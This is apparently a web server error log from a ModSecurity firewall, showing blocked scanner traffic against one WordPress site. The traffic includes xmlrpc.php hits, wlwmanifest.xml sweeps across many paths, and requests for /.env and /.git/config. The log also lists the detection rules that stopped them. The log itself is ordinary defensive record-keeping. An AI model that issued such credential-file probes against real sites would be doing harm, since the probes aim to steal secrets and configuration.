[Mon Jan 12 05:34:37.607944 2026] [:error] [pid 48104:tid 48135] [client 152.249.9.145:49621] [client 152.249.9.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.249.9.145, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWQXbU4huT4DhLwu2VvJFgAAABY"]
[Mon Jan 12 06:46:08.503641 2026] [:error] [pid 23184:tid 23201] [client 170.106.113.235:38738] [client 170.106.113.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWQoMBKkZNnMA7VuWCGPXAAAAQ8"]
[Mon Jan 12 11:32:08.233133 2026] [:error] [pid 48105:tid 48142] [client 170.106.192.208:43854] [client 170.106.192.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWRrODbe4SdLfSmtJe00xAAAAEI"]
[Mon Jan 12 12:34:16.985498 2026] [:error] [pid 51637:tid 51646] [client 43.157.158.178:41126] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWR5yHrTvTmO_ovDgVBdAgAAAYM"]
[Mon Jan 12 17:00:40.390734 2026] [:error] [pid 51637:tid 51659] [client 182.42.110.255:52568] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWS4OHrTvTmO_ovDgVCfuQAAAZA"]
[Mon Jan 12 17:12:45.028042 2026] [:error] [pid 51637:tid 51660] [client 170.106.37.134:43368] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWS7DXrTvTmO_ovDgVCjGwAAAZE"]
[Mon Jan 12 20:05:14.079852 2026] [:error] [pid 48106:tid 48177] [client 167.172.235.216:58784] [client 167.172.235.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aWTjeu_rz8jTZY4aXpR1DQAAAIo"], referer: binance.com
[Mon Jan 12 21:24:39.803323 2026] [:error] [pid 48105:tid 48146] [client 34.148.104.49:57785] [client 34.148.104.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.104.49, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWT2Fzbe4SdLfSmtJe2W8QAAAEY"]
[Mon Jan 12 21:24:41.334646 2026] [:error] [pid 48105:tid 48162] [client 34.148.104.49:57785] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWT2GTbe4SdLfSmtJe2W_AAAAFY"]
[Mon Jan 12 21:24:42.227366 2026] [:error] [pid 48213:tid 48236] [client 34.148.104.49:57848] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWT2GmRmaItaLCBvAhgIWgAAANU"]
[Mon Jan 12 21:24:43.084085 2026] [:error] [pid 48106:tid 48187] [client 34.148.104.49:58400] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aWT2G-_rz8jTZY4aXpR-BAAAAJQ"]
[Mon Jan 12 21:24:43.950454 2026] [:error] [pid 51986:tid 52037] [client 34.148.104.49:50300] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aWT2GxiI5CoFGIbwGZZ0mAAAA1Y"]
[Mon Jan 12 21:24:44.802186 2026] [:error] [pid 51637:tid 51652] [client 34.148.104.49:57881] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aWT2HHrTvTmO_ovDgVDkLgAAAYk"]
[Mon Jan 12 21:24:45.672973 2026] [:error] [pid 48213:tid 48224] [client 34.148.104.49:62557] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWT2HWRmaItaLCBvAhgIXwAAAMk"]
[Mon Jan 12 21:24:46.533657 2026] [:error] [pid 48213:tid 48215] [client 34.148.104.49:58033] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWT2HmRmaItaLCBvAhgIYQAAAMA"]
[Mon Jan 12 21:24:47.433434 2026] [:error] [pid 51863:tid 51891] [client 34.148.104.49:63160] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWT2Hz2-QXSEuiZdYYZyBQAAAhg"]
[Mon Jan 12 21:24:48.290482 2026] [:error] [pid 48106:tid 48188] [client 34.148.104.49:61675] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWT2IO_rz8jTZY4aXpR-BgAAAJU"]
[Mon Jan 12 21:24:49.134161 2026] [:error] [pid 51637:tid 51651] [client 34.148.104.49:56057] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWT2IXrTvTmO_ovDgVDkMwAAAYg"]
[Mon Jan 12 21:24:50.024451 2026] [:error] [pid 51897:tid 51943] [client 34.148.104.49:51983] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWT2ItwDOJmYnFxYfDUB5gAAApE"]
[Mon Jan 12 21:24:50.896194 2026] [:error] [pid 51637:tid 51649] [client 34.148.104.49:64996] [client 34.148.104.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWT2InrTvTmO_ovDgVDkNQAAAYY"]
[Mon Jan 12 22:38:34.530405 2026] [:error] [pid 51896:tid 51911] [client 43.153.96.79:44630] [client 43.153.96.79] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWUHat2Y52W2afNXn_WjXwAAAkw"]
[Mon Jan 12 22:47:37.116282 2026] [:error] [pid 48105:tid 48150] [client 92.44.24.45:60626] [client 92.44.24.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aWUJiTbe4SdLfSmtJe2kDwAAAEo"]
[Mon Jan 12 22:47:38.078109 2026] [:error] [pid 48106:tid 48172] [client 92.44.24.45:60838] [client 92.44.24.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aWUJiu_rz8jTZY4aXpSIpwAAAIU"]
[Mon Jan 12 23:29:28.605252 2026] [:error] [pid 48213:tid 48225] [client 182.43.70.143:40770] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWUTWGRmaItaLCBvAhgZTwAAAMo"]
[Tue Jan 13 01:58:40.601891 2026] [:error] [pid 48106:tid 48179] [client 136.107.86.209:58985] [client 136.107.86.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.86.209, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWU2UO_rz8jTZY4aXpSbOgAAAIw"]
[Tue Jan 13 01:58:41.906620 2026] [:error] [pid 48106:tid 48191] [client 136.107.86.209:58985] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aWU2Ue_rz8jTZY4aXpSbRAAAAJg"]
[Tue Jan 13 01:58:42.859804 2026] [:error] [pid 48213:tid 48238] [client 136.107.86.209:59493] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aWU2UmRmaItaLCBvAhgqfAAAANc"]
[Tue Jan 13 01:58:43.869248 2026] [:error] [pid 51637:tid 51664] [client 136.107.86.209:56621] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWU2U3rTvTmO_ovDgVAiIgAAAZU"]
[Tue Jan 13 01:58:44.801907 2026] [:error] [pid 51637:tid 51649] [client 136.107.86.209:56210] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWU2VHrTvTmO_ovDgVAiJAAAAYY"]
[Tue Jan 13 01:58:45.663895 2026] [:error] [pid 51897:tid 51929] [client 136.107.86.209:50019] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aWU2VdwDOJmYnFxYfDUc8QAAAoM"]
[Tue Jan 13 01:58:46.591829 2026] [:error] [pid 51896:tid 51908] [client 136.107.86.209:56162] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aWU2Vt2Y52W2afNXn_W0yQAAAkk"]
[Tue Jan 13 01:58:47.616927 2026] [:error] [pid 51863:tid 51887] [client 136.107.86.209:58981] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aWU2Vz2-QXSEuiZdYYaMCAAAAhQ"]
[Tue Jan 13 01:58:48.570709 2026] [:error] [pid 51956:tid 51968] [client 136.107.86.209:57066] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWU2WEb_j3zpZfEgGM9FQwAAAso"]
[Tue Jan 13 01:58:49.457204 2026] [:error] [pid 9303:tid 9312] [client 136.107.86.209:51200] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWU2WdEoWhpeQ69gVtEiWwAAAUY"]
[Tue Jan 13 01:58:50.324115 2026] [:error] [pid 9303:tid 9313] [client 136.107.86.209:64271] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWU2WtEoWhpeQ69gVtEiXAAAAUc"]
[Tue Jan 13 01:58:51.182271 2026] [:error] [pid 51956:tid 51977] [client 136.107.86.209:57504] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWU2W0b_j3zpZfEgGM9FRQAAAtM"]
[Tue Jan 13 01:58:52.050338 2026] [:error] [pid 9303:tid 9309] [client 136.107.86.209:55803] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWU2XNEoWhpeQ69gVtEiXQAAAUM"]
[Tue Jan 13 01:58:52.958461 2026] [:error] [pid 9303:tid 9322] [client 136.107.86.209:62835] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWU2XNEoWhpeQ69gVtEiXgAAAVA"]
[Tue Jan 13 01:58:53.888938 2026] [:error] [pid 48106:tid 48180] [client 136.107.86.209:58220] [client 136.107.86.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWU2Xe_rz8jTZY4aXpSbSwAAAI0"]
[Tue Jan 13 03:36:39.559068 2026] [autoindex:error] [pid 57653:tid 57681] [client 64.225.13.143:52610] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 13 04:17:47.661780 2026] [:error] [pid 57659:tid 57714] [client 43.159.152.187:36308] [client 43.159.152.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWVW64peWOFQSBXk4xqk0gAAAFg"]
[Tue Jan 13 05:41:19.902802 2026] [:error] [pid 26395:tid 26410] [client 1.15.52.154:36332] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWVqf5hRkuVub9GmnFgTWQAAAQ0"]
[Tue Jan 13 08:53:38.645484 2026] [:error] [pid 57659:tid 57708] [client 112.202.111.177:59015] [client 112.202.111.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.202.111.177, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWWXkopeWOFQSBXk4xrQQgAAAFI"]
[Tue Jan 13 10:04:37.528359 2026] [:error] [pid 57660:tid 57741] [client 43.130.3.120:41920] [client 43.130.3.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWWoNdMDflPZjoqTTeGazQAAAJg"]
[Tue Jan 13 11:41:55.039173 2026] [:error] [pid 22485:tid 22506] [client 180.110.203.108:35697] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWW_AxzzbghmKib9ie9y8wAAAZM"]
[Tue Jan 13 17:02:10.010081 2026] [:error] [pid 49677:tid 49681] [client 43.166.224.244:52532] [client 43.166.224.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWYKEviKiDrYd_02VZoHMAAAAEA"]
[Tue Jan 13 20:28:07.244150 2026] [autoindex:error] [pid 22389:tid 22406] [client 185.249.225.220:65407] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 13 21:37:06.336700 2026] [:error] [pid 22389:tid 22403] [client 194.233.68.138:57288] [client 194.233.68.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWZKgiLIB_8b411qalJZaQAAAUw"]
[Wed Jan 14 00:18:35.634198 2026] [:error] [pid 63842:tid 63847] [client 119.96.24.54:59952] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWZwW20zPTD54ET7u1kZfAAAAUE"]
[Wed Jan 14 00:55:00.720267 2026] [:error] [pid 63843:tid 63893] [client 172.70.251.242:12674] [client 172.70.251.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aWZ45IqxEwB7D1-DxXfYKAAAAJM"]
